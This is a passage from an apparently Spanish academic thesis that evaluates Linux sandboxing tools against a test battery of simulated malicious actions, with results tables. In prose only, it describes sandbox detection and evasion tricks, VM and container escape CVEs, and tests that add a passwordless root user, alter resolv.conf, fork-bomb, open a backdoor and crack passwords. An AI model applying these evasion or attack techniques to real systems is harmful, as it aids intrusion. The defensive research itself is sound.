principalmente para ocupar una gran cantidad de recursos del sistema creando copias infinitas de €l
mismo recursivamente, agotando asi recursos como la memoria del sistema y la CPU, logrando que el
rendimiento del sistema se reduzca. Se trata de un malware muy antiguo y que actualmente es muy

facil de detener.

3.1.6 Ransomware

El ransomware es un tipo de malware que bloquea el acceso a los ficheros del ordenador de la victima,
normalmente cifrdndolos. Este malware es utilizado para extorsionar a las victimas pidiendo un pago

a cambio del descifrado los datos.

El objetivo del uso de este malware es casi siempre la obtencion de dinero a cambio de descifrar los
archivos de la victima. Actualmente, el ransomware se ha convertido en un serio problema para las
empresas y organismos publicos, siendo estos tltimos casos especialmente graves debido a la cantidad

de informacion sensible que existe en dichas organizaciones.
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4 SANDBOX

lo largo de este capitulo se define la tecnologia Sandbox, describiendo la forma en la que
A funciona y las diferentes tecnologias que permiten desplegar un Sandbox. Ademas, se explican

las ventajas que conlleva el uso de esta tecnologia y técnicas para detectarla y evadirla.

4.1 Definicion de Sandbox

El término “Sandbox”, proviene de la palabras inglesas “Sand” y “Box” que significan “arena”y “caja”
respectivamente, haciendo asi alusion a la caja de arena donde normalmente juegan los nifios, entorno
que carece de peligro. De aqui surge la definicion de Sandbox aplicado al mundo de la seguridad
informatica, siendo este un entorno aislado que permite la ejecucion de codigos potencialmente
peligrosos, otorgandole a estos acceso solo a ciertos recursos previamente establecidos con el fin de

restringir la capacidad de accesibilidad del programa [21].

Un Sandbox es una medida de seguridad asociada a la prevencion y no a la deteccion de malware, ya
que previene la ejecucion de actividades maliciosas por parte del malware y no detecta la realizacion
de estas, aunque como se mostrara posteriormente, existen soluciones como Cuckoo Sandbox que

permiten detectar dichas actividades tras la ejecucion del malware.

Muchas de las herramientas que utilizan esta tecnologia estdn basadas en la ejecucion de un programa
en un entorno completamente aislado de los recursos y programas del ordenador que no pertenecen al
Sandbox. Para esto existen herramientas que serdn estudiadas y que estan incluidas dentro de las
funcionalidades del sistema como son Seccomp, Cgroups, “Capabilities” o la virtualizacion a nivel del

sistema operativo, ya sean, contenedores o jaulas entre otros.

Por otro lado, esta herramienta puede ser también desplegada sin la necesidad de aislar completamente
la ejecucion de programas, pudiendo asi establecer una serie de reglas que permiten controlar las
acciones que puede realizar un programa en concreto. Este tipo de herramientas, como AppArmor o

SELinux, admite la comparticion de recursos entre los programas.
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4.2 Arquitectura de un Sandbox

Como se ha comentado en el apartado anterior, existen dos modos de desplegar un Sandbox, ya sea
basado en el aislamiento completo del programa del resto de recursos y aplicaciones o basado en reglas
para permitir el acceso a determinados recursos, permitiendo asi la comparticion de estos con el resto

de los programas que se encuentran en el equipo.

En la Figura I se muestra la arquitectura seguida por un Sandbox basado en el aislamiento de recursos
y el proceso del resto del sistema. Esta arquitectura es utilizada por los diversos métodos de
virtualizacion existentes, como pueden ser el software de virtualizacion como VirtualBox o VMware

y el software que permite crear contenedores como Docker o LXC.

Sandbox

Recursos
aislados

Recursos

del sistema

Figura 1. Sandbox basado en aislamiento.

El Sandbox basado en reglas sigue una estructura distinta, ya que este comparte los recursos del sistema

con el resto de los procesos, como ya se comento anteriormente.
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En la Figura 2 se puede apreciar la arquitectura de un Sandbox basado en el aislamiento de procesos
mediante reglas, pues en este tipo de implementaciones los procesos comparten los mismos recursos,
aunque el proceso aislado tiene restringido ciertas llamadas al sistema con el fin de controlar las

acciones que realiza.

Sandbox

Recursos del
sistema

Figura 2. Sandbox basado en reglas.

4.3 Finalidades de un Sandbox

Como se ha comentado anteriormente, existen infinidad de aplicaciones peligrosas por Internet siendo
muy complicada la diferenciacion entre aquellas que son legitimas y las que no. Por ello, se requiere
de la existencia de herramientas de seguridad que permitan evitar dafios a los equipos tras la ejecucion

de estas aplicaciones. Esto provoca la existencia de las siguientes necesidades:
e Prevenir que el malware modifique programas o informacion existente en el equipo.
e Evitar la ejecucion de codigo malicioso que se encuentra en un programa.

Para tratar de saciar estas necesidades existe esta tecnologia, cuyos principales objetivos son:
e Prevenir de ataques zero-day

e Restringir el acceso a determinados recursos, memoria y CPU para evitar acciones maliciosas

que puedan llevar acabo el bloqueo del sistema.

e Limitar el nimero de procesos creados a partir de una aplicacion para asi evitar el consumo

excesivo de memoria.
e Controlar la comunicacion con la red por parte de los procesos.

e Controlar la comunicacion con el resto de los procesos del equipo.
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e Evitar que el programa acceda a ficheros externos al Sandbox.

e Monitorizar los accesos por parte del proceso a informacion sensible del sistema.

4.4 Evasion de Sandbox

En un principio el malware existente carecia de complejidad, pero a medida que ha avanzado el tiempo
los ciberdelincuentes han desarrollado malware mas sofisticado, siendo contrarrestado en cierta
medida por muchas medidas de seguridad, como antivirus, sistemas de deteccion de intrusos (IDS, del
inglés Intrusion Detection System), o la estudiada en este trabajo. En cierta medida los cibercriminales
han ido desarrollando formas de detectar la existencia de dichas herramientas de seguridad, asi como

técnicas para evadirla y poder llevar a cabo sus actividades maliciosas.

En este apartado se comentan las diferentes técnicas desarrolladas por los atacantes expertos para poder
detectar y evadir los Sandbox. Finalmente, se aportaran una serie de contramedidas para evitar que los

atacantes consigan vulnerar la seguridad del sistema [22], [23].

441 Técnicas de deteccion

En primer lugar, se describen las principales técnicas utilizadas por el malware para detectar que el
codigo malicioso se esta ejecutando dentro de un Sandbox, para asi evitar mostrar las acciones

maliciosas que realiza y que el usuario se percate de la existencia de estas.

4411 Interacciones del usuario

Un Sandbox suele utilizarse para probar aplicaciones potencialmente peligrosas y comprobar asi la
presencia de malware en ¢él. Por lo tanto, requiere de una nula o escasa interaccion con el usuario, ya
que se ejecuta el proceso en €l y se visualiza las acciones que este realiza. Por ello, el programa

malicioso suele tratar de detectar los siguientes tipos de interacciones entre el usuario y el equipo:
e Pulsaciones de teclas.
e Comprobacion de velocidad y frecuencia de pulsaciones del raton.

e (Cambios en la interfaz.

441.2 Tiempo encendido

Otro método muy simple que permite dar indicios acerca de si el entorno en el que se ejecuta la
aplicacion se encuentra dentro de un Sandbox es la comprobacion del tiempo de encendido del equipo,

asi como el tiempo que ha transcurrido desde la tltima interaccion del usuario con el sistema.
Con esto se puede comprobar si el proceso se esta ejecutando fuera de un Sandbox debido a que en
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este caso se espera que exista mucha actividad del usuario con el sistema, por lo que normalmente la
ultima interaccion del usuario con el sistema sera reciente y el tiempo de encendido serd propenso a

ser grande, al contrario de si se encontrase en un Sandbox.

4.41.3 Huella digital del Sandbox

Los Sandbox estan disefiados para replicar de la mejor manera posible a un sistema real, sin embargo,
no suelen ser exactamente iguales, por lo que existen modos de detectar estas diferencias. Estas
diferencias suelen residir en ficheros de configuracion, informacion del sistema, procesos, registros,
servicios o adaptadores de red. Usualmente, el malware suele tratar de investigar acerca de los

siguientes puntos clave:

e Dispositivos conectados: Trata de buscar controladores instalados o dispositivos externos
conectados al sistema, como puede tratarse un USB o impresoras, pues la falta de estos puede

indicar que el programa esta siendo ejecutado en un Sandbox.

e Procesos y servicios ejecutados: Normalmente el software de virtualizacion, que puede ser
utilizado como un Sandbox, posee servicios o procesos que son ejecutados para su
funcionamiento. Por lo tanto, la deteccion de algunos de estos servicios o procesos indicaria la

existencia de un Sandbox.

e Ficheros y registros: Similar al caso anterior con la diferencia de que en este caso se trata de

buscar ficheros y registros que son caracteristicos de un sistema operativo o de un Sandbox.

e Numero de procesadores: El malware puede tratar de buscar diferencias entre el sistema virtual
y el fisico. También, suele ser usual que un Sandbox use uno o dos procesadores, por lo que la

deteccion de esta cantidad de procesadores podria indicar la presencia de un entorno aislado.

e Tamaio y nombre del disco: El tamafio asignado al disco virtual del entorno puede dar indicios

sobre la ejecucion del codigo dentro de un entorno aislado.

e Direccion MAC: Existe software que al virtualizar el sistema operativo crea interfaces de red
virtuales a las cuales asigna una determinada direccion MAC, normalmente siguiendo un

patron en concreto y que denota que dicha MAC pertenece a un entorno virtual.

Por otra parte, se debe recalcar la existencia de herramientas como Pafish [24], que permiten conocer
los valores del sistema anteriormente nombrados y que indica si dicha herramienta estd siendo

ejecutada en un Sandbox.

441.4 Comprobacion del hardware

Algunos malware también tienen la posibilidad de comprobar valores asociados a datos del hardware,

como puede ser la temperatura a la que se encuentra el sistema o si el sistema esta siendo recargado,
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entre otros. Este tipo de indicios puede indicar que el malware se encuentre en un entorno aislado del

real.

4.4.2 Técnicas de evasion

Al igual que los investigadores tratan continuamente de mejorar y crear nuevas técnicas de defensa,
los atacantes crean, a medida que transcurre el tiempo, malwares cada vez mas sofisticados y nuevos

métodos de ataques mas complejos, rompiendo asi las nuevas medidas de seguridad.

Como no puede ser menos, para la tecnologia estudiada en el trabajo también existen métodos que
permiten evadirla para poder llevar a cabo el objetivo final del malware, que no es mas que infectar un

sistema para efectuar sus acciones malintencionadas.

A continuacion, se nombran alguna de las técnicas usadas por estos atacantes para evadir esta

tecnologia.

4.4.21 Ocultacion de Sandbox

La ocultacion de la ejecucion del codigo malicioso dentro de un Sandbox es el principal método al que
recurren los creadores de malware para evadirlos. Para ello crean malware capaz de detectar si se esta

ejecutando dentro de un entorno aislado, para asi ocultar su comportamiento ilegitimo.

Con esta técnica se consigue ejecutar el programa con codigo malicioso, pero sin mostrar dichas
acciones malintencionadas, haciendo creer al usuario que este programa no contiene nada peligroso
para el sistema. Mediante esta ocultacion de sus actividades se gana la confianza del usuario para que

asi este lo ejecute en el entorno real.

Existen numerosos malware basados en esta técnica para evitar ser detectados. A continuacion, se

enumeran una serie de malware basados en este tipo de técnica:

e BadPatch [25]: Trata de detectar si se estd ejecutando en una maquina virtual obteniendo

informacion sobre el nombre del disco, la BIOS e informacion de la placa base.

e Dyre [26]: Detecta si se encuentra en un Sandbox mediante la inspeccion de los procesos y los

registros.

e QOopslE [27]: Trata de comprobar la temperatura del sistema para ver si se estd ejecutando en

un entorno virtual.

e ROKRAT [28]: Detecta si se encuentra en un Sandbox mediante la busqueda de librerias.

4.4.2.2 Deteccion de interacciones del usuario

Como se comento en el apartado 4.4.1 existen métodos que se basan en la deteccion de interacciones
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del usuario con el sistema. En este caso, una vez se ejecuta el cédigo maligno éste no realiza ninguna
accion peligrosa, sino que se mantiene a la espera de que el usuario interaccione de una manera

concreta con el sistema para que este cédigo malicioso sea ejecutado.
Dos malwares que se basan en esta técnica son:

e FIN7 [29]: Utiliza una imagen adjuntada en un documento, y este malware es solo activado

cuando un usuario realiza una pulsacion doble sobre dicha imagen.

e BaneChant [30]: Espera a que se produzcan un nimero determinado de pulsaciones para

comenzar a ejecutar sus acciones malintencionadas.

4.4.2.3 Inicio aplazado

Otra técnica usada para poder evadir un Sandbox es la ejecucion del malware tras esperar un

determinado tiempo, o que se ejecutan solo en ciertos dias o a ciertas horas.
A partir de esta definicion nacen dos técnicas:

e Sleep: Esta técnica espera un cierto tiempo tras la ejecucion del programa para ejecutar sus

actividades. Esté asociada a la técnica del sistema Linux denominada “sleep” [31].

e Delay: Esta técnica es similar a la técnica nombrada anteriormente, realizando durante el
tiempo de espera acciones sin maldad para simular que realiza acciones benignas, ademas de

tratar de detectar interacciones por parte del usuario con el sistema.

e Time attacking: Esperan a la llegada de una hora o dia en concreto para ejecutar sus

acciones maliciosas.

Un malware que utiliza alguna de estas técnicas es Ursnif [32] que espera 30 minutos tras su

ejecucion para llevar a cabo sus acciones malignas.

4424 Escape de maquinas virtuales

Las maquinas virtuales son entornos virtuales aislados que permiten simular el funcionamiento de un
ordenador, para el cual se utiliza hardware virtual y que permite el uso de un sistema operativo en €l.
El sistema operativo que se ejecuta dentro de la maquina virtual se encuentra aislado del sistema

anfitrién y no deberia de existir forma de interactuar con ¢l desde la méaquina virtual.

El escape de una maquina virtual es el proceso de romper este aislamiento, y poder asi interactuar con
el sistema operativo anfitrion desde la maquina virtual. A continuacion, se describen vulnerabilidades

que permiten escapar de una maquina virtual:
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e Se puede realizar una denegacion de servicio debido a una vulnerabilidad que permite escribir
fuera de los limites y que es provocado por archivos de sombreado especialmente disefiados
(TALOS-2019-0757) [33]. Ademas, si el equipo anfitrion usa una tarjeta grafica de NVDIA
[34], la denegacion de servicio se puede convertir en una ejecucion arbitraria de codigo,
permitiendo ejecutar dicho codigo en el sistema anfitrion (TALOS-2019-0779) [35]. Esta

vulnerabilidad afecta al software de virtualizacion de VMware [36].

e La vulnerabilidad CVE-2015-6240 [37] permite escapar de una jaula creada mediante la
herramienta Chroot debido a la posibilidad de acceder a ficheros externos del entorno virtual a

través de enlaces simbolicos.

e La vulnerabilidad CVE-2017-5123 [38] permite aprovechar un fallo en una funcion de Linux
en las versiones 4.12 y 4.13 que realizar un escalado de privilegios y escape de un contenedor
Docker.

4.4.3 Contramedidas

Hoy en dia existen diferentes tipos de contramedidas a los métodos de deteccion y evasion nombrados
en los apartados anteriores. Estas técnicas tratan de reducir el nimero de malware que es capaz de
eludir su deteccion frente a un Sandbox como Cuckoo Sandbox, consiguiendo evadirse de los entornos

virtuales.

Para las técnicas de deteccion mencionadas, ciertos Sandbox permiten la configuracion de registros,
ficheros, informacion del sistema, etc. con el fin de ocultar su entorno de modo que el malware no
pueda detectar indicios de que se encuentra en un entorno virtualizado. Ademas, algunas herramientas
dan la posibilidad de simular interacciones entre el usuario y el sistema como pulsaciones de teclas o

del raton para asi engafiar al malware.

Para contrarrestar los ataques asociados a un inicio retardado de la ejecucion de las acciones maliciosas

se pueden llevar a cabo las siguientes acciones:

e Cambiar la hora del sistema con el fin de que se avance en el tiempo para enganar al malware

y que este realice sus acciones malintencionadas.

e Por otra parte, al ejecutarse un programa y ver que este no realiza ninguna accion, proporciona
indicios de que pueda poseer actividad maliciosa en ¢€l, provocando asi que se monitorice su

ejecucion.

Ademas, existen herramientas como pinVMShield [39], que permite engafar al malware, para asi

evadir las técnicas de deteccion de maquinas virtuales y Sandbox.

22



Tecnologias

Analisis de técnicas de aislamiento de procesos (Sandbox) en Linux

5 TECNOLOGIAS

ﬁ continuacion, describen las herramientas utilizadas para el despliegue de los diferentes tipos de

Sandbox, con el objetivo de presentar la bateria de pruebas realizadas.

5.1 Cgroups

Los grupos de control, abreviados como Cgroups [40], es una funcionalidad que se encuentra en el
kernel de Linux y que permite limitar, aislar y priorizar los recursos del sistema como pueden ser la

memoria, el acceso a la red o la CPU, sin la necesidad de crear una maquina virtual.

Cgroups se trata de un grupo de procesos que tienen establecidos unos determinados limites y uso de
los recursos en funcién del grupo. En funcion del grupo, se puede determinar una serie de usos que

son:

Registrar: Permite llevar la contabilidad de los recursos.
e Limitar: Restringir la maxima asignacion de recursos.

e Priorizar: Intenta asignar recursos en funcion de valores de prioridad permitiendo asi que

algunos procesos accedan prioritariamente a determinados recursos.
e Aislar: Proporciona diferentes puntos de vista de los recursos del sistema para los procesos.

En la Figura 3 se puede apreciar como la herramienta cgroups asigna una serie de recursos, Como son

la memoria, la CPU, el acceso a la red, y la entrada y salida del disco, a un grupo de control.

Control Group (cgroup) —

25%

RAM = /CPU - NET - ﬁ {o I
25% @ @
25%|25%| | | L] 25%25%

Figura 3. Asignacion de recursos de Cgroups [41].

Existen muchos programas que utilizan Cgroups, como Docker, LXC o Firejail, siendo estos dos

ultimos descritos en este documento.
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5.2 Firejail

Firejail se encuentra escrito en C y puede ser ejecutado en cualquier equipo que use un nicleo de Linux
con version 3.x o posteriores. Se trata de un programa que permite restringir el entorno de ejecucion
de los programas que son potencialmente peligrosos, utilizando otras herramientas como Namespaces
[42] y Seccomp. Para cumplir su objetivo, permite que un proceso y todos los que este pueda crear
tenga una vision propia de los recursos del nicleo [43]. Permite crear un sandbox para cualquier

proceso, ya sean servidores, o aplicaciones graficas entre otros.

Esta herramienta se basa en el uso conjunto de funcionalidades de seguridad existentes en el nicleo de
Linux. El programa configura estas funcionalidades y espera en segundo plano. Las tecnologias usadas
para crear el Sandbox son: Namespaces, Chroot, Seccomp, “Capabilities”, AppArmor y SUID, que

son los permisos de acceso que pueden asignarse a los ficheros.

Para las pruebas realizadas con esta herramienta se incluye una funcionalidad del nicleo de Linux

llamada Seccomp, y descrita a continuacion.

5.21 Seccomp

Seccomp [44], cuyo nombre proviene de las palabras “Secure Computing Mode”, viene incorporado
con el nucleo de Linux desde el afio 2005, y se trata de una funcionalidad de seguridad del kernel de
Linux. Esta restringe las 1lamadas al sistema que un proceso puede realizar y en caso de que se realice

alguna distinta, termina el proceso. Las llamadas al sistema permitidas son:

o write()

e read()

e sigreturn()
e exit()

Como se ha comentado anteriormente, cuando se intenta realizar una llamada al sistema, no nombrada
anteriormente, el proceso termina inmediatamente pues esto mejora la seguridad del sistema ya que

cualquier fallo que ocurra es propenso a provocar errores en el sistema.

Por otra parte, con esta herramienta, no se obtiene ninguna advertencia sobre la finalizacion del proceso
debido al intento de realizar una llamada al sistema no autorizada. Ademas, como las llamadas al
sistema que se permiten requieren del uso de la memoria para escribir ciertos datos, es necesario
inspeccionar los argumentos utilizados para las llamadas al sistema para comprobar que no trata de

realizar ninguna accion maliciosa.

Existe una extension de Seccomp, denominada Seccomp-bpf que permite el filtrado de las llamadas
del sistema usando politicas implementadas basadas en las reglas Berkeley Packet Filter [45]. Se

encuentra disponible desde la version 3.5 de Linux. Esta extension de Seccomp es la utilizada por
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Firejail.
Estos filtros son usados para permitir o denegar un conjunto de llamadas del sistema, asi como para

filtrar argumentos de estas llamadas. Cuando un proceso ejecuta una llamada del sistema prohibida, el

filtro genera una sefial para que el gestor de sefiales simule una llamada no permitida al sistema.

5.3 Chroot

Chroot [21] se trata de una herramienta implementada en los sistemas Linux desde 1982, que permite
cambiar el directorio raiz para un proceso que se esta ejecutando a otro directorio especifico, mediante

lo cual se consigue la creacion de una jaula o “jail”.

El programa percibe el arbol de directorios dado como su directorio raiz, impidiendo el acceso a
aquellos ficheros que se encuentren fuera del nuevo directorio raiz. Esta herramienta inicamente
funciona para proteger el sistema de ficheros, pero no protege otros recursos como pueden ser la

memoria o los puertos de red.

En la Figura 4 se puede apreciar como se encuentra el arbol de directorios del sistema una vez creado
un entorno restringido. Una nueva aplicacion puede ser ejecutada dentro de este nuevo arbol de

directorios simulando asi un nuevo directorio raiz para este, evitando asi su acceso a directorios fuera

del entorno.
/root
I
I I I I I
letc /home /var fopt /bin
4 N\
dit
I I I |
Jetc /var /opt /bin /bin
Entorno restringido
\_ s J

Figura 4. Arbol de directorios usando Chroot.
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5.4 Capabilities

En los sistemas Linux existen privilegios de usuario para determinar las acciones que los procesos
pueden realizar, diferenciandose entre dos tipos, procesos con y sin privilegios. El primero de ellos se

refiere a los procesos con permisos de superusuario y el resto se engloban en el segundo grupo [46].

Los procesos con privilegios pueden sobrepasar cualquier restriccion del kernel mientras que los
procesos sin privilegios estan sujetos a las credenciales del proceso, siendo estos normalmente el
identificador de usuario efectivo (UID, del inglés User Identification), el identificador de grupo

efectivo (GID, del inglés Group Indentification) y una lista suplementaria de grupos.

Desde la version 2.2 del nticleo de Linux, los privilegios asociados a los superusuarios se distinguen
en diferentes unidades llamadas “capabilities” con el fin de dividir el poder de un superusuario en
privilegios especificos, de modo que, si se vulnera un proceso que posee una serie de “capabilities”, el

dafo potencial es limitado en comparacion con el mismo proceso que se ejecuta como superusuario.

Las “capabilities” permiten conceder a un proceso los privilegios que sean necesarios para su
ejecucion, sin la obligacion de otorgar todos los permisos asociados a un superusuario. Debido a la
granularidad que esta funcionalidad proporciona, se puede ejecutar tareas privilegiadas inicamente
con los privilegios minimos requeridos. Esta herramienta es usada comtiinmente para entornos de
virtualizacion como LXC o Docker, con el fin de restringir las capacidades usadas a la hora de crear

un contenedor.

5.5 Cuckoo Sandbox

Se trata de un proyecto nacido en 2010, y que destaca por ser Open Source [47]. Es una herramienta
que permite el analisis automatico del malware. Al igual que el resto de Sandbox nos protege de las
actividades maliciosas que puedan ejecutar, pero ademas nos otorga un reporte detallado acerca del

comportamiento tras su ejecucion.

Para ejecutar la bateria de pruebas en este entorno, se requiere de la instalaciéon de un entorno de
virtualizacion, siendo VirtualBox el elegido en este caso, para la realizacion de las pruebas en un
entorno aislado. Tras su ejecucion, Cuckoo Sandbox nos proporciona un analisis completo de las

acciones llevadas a cabo por el codigo con el objetivo de poder examinar su comportamiento.

5.6 LXC

Los contenedores de Linux (LXC) se tratan de una herramienta que permite la virtualizacion a nivel
del sistema operativo, también llamadas virtualizacion basadas en contenedores, para asi ejecutar
diferentes sistemas Linux aislados donde ejecutar diferentes aplicaciones en un unico nucleo de Linux
[48].
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Para ello, utiliza diferentes herramientas existentes en el nicleo de Linux, como son las herramientas

seccomp, SELinux, AppArmor y Namespaces [42], con lo que permite crear estos entornos.

En la Figura 5 se muestra la arquitectura de la herramienta LXC. En ella se muestra como LXC se
apoya en el nicleo de Linux para la creacion de los entornos virtuales, pues todos los contenedores
usan el mismo nucleo que el sistema operativo, sin virtualizar el hardware. Estos contenedores poseen

su propia memoria, sistema de ficheros, procesos, etc.

Contenedor Contenedor

App 2

App 1

Figura 5. Arquitectura de LXC.

5.7 Moddulos de seguridad del kernel de Linux

El ntcleo de Linux posee un proyecto denominado Modulos de Seguridad de Linux (LSM, del inglés
Linux Security Module) cuyo principal objetivo es el de afiadir un mddulo de seguridad al nacleo de
Linux. Este proyecto surge de otros proyectos, entre los cuales se encuentran SELinux y AppArmor

que se describen en los siguientes apartados [21].

En la Figura 6 se puede ver el funcionamiento del médulo LSM dentro del ntcleo de Linux. Este se
basa en la existencia de hooks, que son llamadas al médulo, que se realizan cuando una llamada del
sistema a nivel de usuario va a dar acceso a un elemento interno del nucleo. Estos ooks son ejecutados
cuando una aplicacion realiza una llamada al sistema, para asi, poder gestionar la seguridad del nticleo

mediante el control de acceso a los recursos.
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Aplicacion
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Nucleo de Linux \

LSM Hook <+— LSM

!

Figura 6. Funcionamiento de LSM

5.71 AppArmor

Es un mecanismo MAC (Control obligatorio de acceso, del inglés Mandatory Access Control) que
limita la capacidad de los procesos de realizar llamadas al sistema, pues el nticleo se comunica con
esta herramienta para conocer si el proceso puede realizar la llamada al sistema que desea,

restringiendo de esta forma las llamadas al sistema que un proceso puede realizar.

AppArmor al igual que SELinux se basa en la aplicacion de reglas para conocer los permisos de acceso
al sistema, pero AppArmor aplica dichas reglas a procesos determinados variando en funcion de la

ruta en la que se encuentra el programa instalado.

5.7.2 SELinux

SELinux (del inglés, Security-Enhanced Linux) se trata al igual que AppArmor de un mecanismo
MAC en el que se apoya el nucleo del sistema para saber si un programa posee los permisos necesarios

para realizar una llamada al sistema determinada.

SELinux otorga permisos en funcion del contexto de seguridad en el que se ejecuta un determinado
proceso. Este contexto se encuentra definido por la identidad del usuario que ejecuta el proceso, asi

como el rol y el dominio en el que se encuentra este en el momento de ejecutar el proceso.
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6 PRUEBAS

n el presente capitulo se expone las pruebas asociadas al trabajo. A lo largo del capitulo se
I sdescribe la bateria de pruebas creada, que posteriormente es ejecutada en los Sandbox

desplegados.

6.1 Diseio de las pruebas

En este apartado se explica el disefo de la bateria de pruebas. A continuacion, se procede a describir

las pruebas e indicar las acciones que se realizan en ellas:

e Delete_file: Se apoya en la funcion get random_file para obtener un fichero aleatorio de un
directorio dado, tratando de borrar dicho fichero. Mediante esta prueba se simula un ataque de
denegacion de servicio.

e AES encrypt: Al igual que la anterior prueba, se apoya en la misma funcion para obtener un
fichero aleatorio de un directorio determinado, teniendo esta prueba como objetivo el intento
de modificacion de un fichero, con el fin de cifrar la informacion que este posee. Con esta
prueba se trata de simular el malware de tipo ransomware.

¢ Root file: Trata de modificar ficheros con permisos de superusuario como passwd, shadow,
group y gshadow, para afiadir un usuario con mismo UID y GID que el usuario root, sin
contrasefia para poder obtener permisos de superusuario en el sistema.

e Set_false dns: Trata de modificar un fichero para el que se requiere de permisos de
superusuario, en este caso se trata del fichero resolv.conf el cual es usado para establecer el
servidor DNS. Con la modificacion de este fichero se puede establecer un servidor DNS
ilegitimo.

e Wabbit_virus: Esta funcion trata de simular una bomba fork mediante la creacion de una gran
cantidad de procesos hijos para tratar de reducir el rendimiento del equipo, con la intencion de
llegar a provocar el bloqueo del equipo.

e Process: Crea 5 procesos que son eliminados aleatoriamente y simular asi la interrupcion de
procesos que estan ejecutdndose en el sistema.

e Backdoor: Esta prueba trata de simular un troyano. Cuando esta funcion es ejecutada trata de
conectarse a un servidor externo, creado a partir del codigo Server.py del Anexo B, intentando
descargarse un fichero y dando acceso al sistema al atacante.

e Exhaust _disk: Esta funcion primero trata de obtener el espacio restante en el disco para
posteriormente tratar de crear un fichero de dicho tamafio con el fin de agotar el espacio del
disco.
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e Exhaust memory: Trata de agotar la memoria disponible en el sistema.

e John: Ejecuta la herramienta John The Ripper [49] para intentar obtener las contrasefias de los
usuarios del sistema, que posteriormente pueden ser utilizadas para obtener acceso al equipo,
por egjemplo, a través del servicio SSH.

e Change_variable: Esta prueba se apoya en el codigo programa.c del Anexo B. A través de
este codigo se crea un ejecutable que es lanzado el cual posee una variable que es impresa por
pantalla, y mientras estd siendo ejecutado se lanza esta prueba que trata de modificar dicha
variable. Con esto se simularia la posibilidad de que un c6digo malicioso pudiera modificar el
funcionamiento de otros procesos que son ejecutados en el sistema.

En la Figura 7Figura 7 se puede observar el orden seguido por las pruebas anteriormente descritas.

Backdoor Set_false_dns Change_variable

Root_file Process AES_encrypt

Exhaust_memory Wabbit_virus

Delete_file Exhaust_disk

Figura 7.0rden de las pruebas.
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6.2 Resultados

A continuacion, se muestran los resultados obtenidos tras la ejecucion del codigo malicioso dentro de
cada Sandbox. Los resultados son obtenidos tras la comprobacion de si las pruebas consiguen realizar

sus actividades maliciosas y dafiar al sistema operativo anfitrion.

Las configuraciones usadas tratan de minimizar todo el dafio que las pruebas puedan realizar al sistema,
en funcion de las caracteristicas de cada herramienta. La instalacion y configuracion de cada Sandbox
se puede observar en el Anexo A. Antes de ejecutar las pruebas para cada herramienta, se ha
comprobado que no interfiere ninguna otra herramienta de seguridad del sistema que pueda modificar
el resultado obtenido.

Los resultados que se han obtenido al ejecutar la bateria de pruebas sobre los diferentes Sandbox son

las siguientes:

6.21 Cgroups

Tabla 1. Resultado de la ejecucion de las pruebas usando Cgroups.

Prueba Descripcion Resultado

Permite aplicar un limite de uso de la red, pero no
Backdoor . . X
permite desactivar su uso completo.

Permite limitar la velocidad de lectura o escritura, pero

Root file ] .
no permite desactivar su uso completo.
Al permitir la lectura o escritura de ficheros, permite el
John acceso a los ficheros necesarios para que pueda ser
ejecutado y asi conseguir las contrasefias de los usuarios.
. Al no restringir el acceso a los ficheros, no niega la
Delete_file

posibilidad de borrado.

Al no restringir el acceso a los ficheros, no niega la
Set_false_dns N e g
posibilidad de modificacion.

No restringe la posibilidad de crear e interrumpir

X| X| X| X | X

process . .
procesos que estan siendo ejecutados.

Permite la limitacion de la memoria usada por las
Exhaust_memory | pruebas, haciendo imposible el agotamiento de la
memoria disponible.
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Exhaust_disk

Al restringir la velocidad a la que se puede escribir o leer
ficheros se hace inviable el agotamiento de la memoria
del disco, debido a que dicho proceso toma una gran
cantidad de tiempo.

Change_variable

No otorga la posibilidad de impedir la modificacién de
procesos que estan siendo ejecutados.

AES_Encrypt

Al no restringir el acceso a los ficheros, no niega la
posibilidad de borrado y escritura de un nuevo fichero.

Wabbit_virus

Permite la limitacién de la CPU usada por lo que el
proceso no puede consumir toda la CPU disponible.

6.2.2 Firejail y Seccomp

Tabla 2.Resultado de la ejecucion de las pruebas usando Firejail y Seccomp.

Prueba Descripcion Resultado
Al ejecutar el Sandbox se puede deshabilitar la
Backdoor posibilidad de que la jaula no tenga acceso a la red. Si
esta no se elimina solo se tiene acceso al entorno creado.
Al crear un nuevo entorno no permite el acceso a los
Root_file ficheros del entorno real, asi que el superusuario creado
no tiene validez en el entorno real.
Existe la posibilidad de obtener las claves de los usuarios
John existentes en el las de los entorno virtual creado, pero no
las contrasefias de los usuarios del sistema real.
. No existe posibilidad de que se borren ficheros del
Delete_file

entorno real.

Set_false_dns

Al realizar una copia del entorno real, modificaria un
fichero ficticio que es borrado una vez se termina la
ejecucion de las pruebas, por lo que no modifica el
fichero real.

process

Los procesos creados en la jaula no pueden ver los
procesos ejecutados en el entorno real.

Exhaust_memory

No limita la memoria a la que puede acceder los procesos
dentro del entorno virtual, por lo que puede agotar la
memoria del sistema.
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Exhaust_disk

Puede agotar el espacio del disco, pero una vez se
abandona la jaula, se elimina el entorno virtual creado.

Change_variable

Los procesos creados en la jaula no pueden ver los
procesos ejecutados fuera.

AES_Encrypt

Al realizar una copia del entorno real, modificaria un
fichero ficticio que es borrado una vez se termina la
ejecucion de las pruebas, por lo que no modifica el
fichero real.

Wabbit_virus

No limita la CPU que pueden utilizar los procesos dentro
del entorno virtual, por lo que agota la CPU del equipo.

6.2.3 Chroot

Tabla 3. Resultado de la ejecucion de las pruebas usando Chroot.

Prueba Descripcion Resultado
Al ejecutar el Sandbox se puede deshabilitar la
posibilidad de que la jaula no tenga acceso a la red. Si

Backdoor . . .
este no se elimina Unicamente se tiene acceso al entorno
creado.
. Puede cambiar los ficheros asociados a los usuarios del
Root._file entorno virtual, pero no se puede acceder al entorno real.
Puede obtener los usuarios existentes en el sistema
John virtual, pero no los pares usuario/contrasefias del entorno X
real.
Puede cambiar los ficheros existentes en el entorno
Delete_file virtual, pero no se puede acceder a los existentes en el

entorno real.

Set_false_dns

Puede cambiar el fichero dentro del entorno virtual, por
lo que al navegar desde dicho entorno si usa el fichero
modificado. Por otra parte, no se puede modificar el
fichero del entorno real.

process

Puede acceder a los procesos del sistema, pues no
diferencia entre los procesos creados dentro de la jaula y
los existentes anteriormente.

Exhaust_memory

Al compartir los recursos con el sistema real puede
agotar la memoria del sistema.
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Exhaust_disk

La memoria utilizada por la jaula pertenece al sistema de
ficheros del sistema, por lo que, el tamafio de la jaula
puede aumentar hasta agotar el espacio en el sistema. Se
puede eliminar la jaula para recuperar el espacio
ocupado.

Change_variable

Puede acceder a los procesos del sistema, pues no
diferencia entre los procesos creados dentro de la jaula y
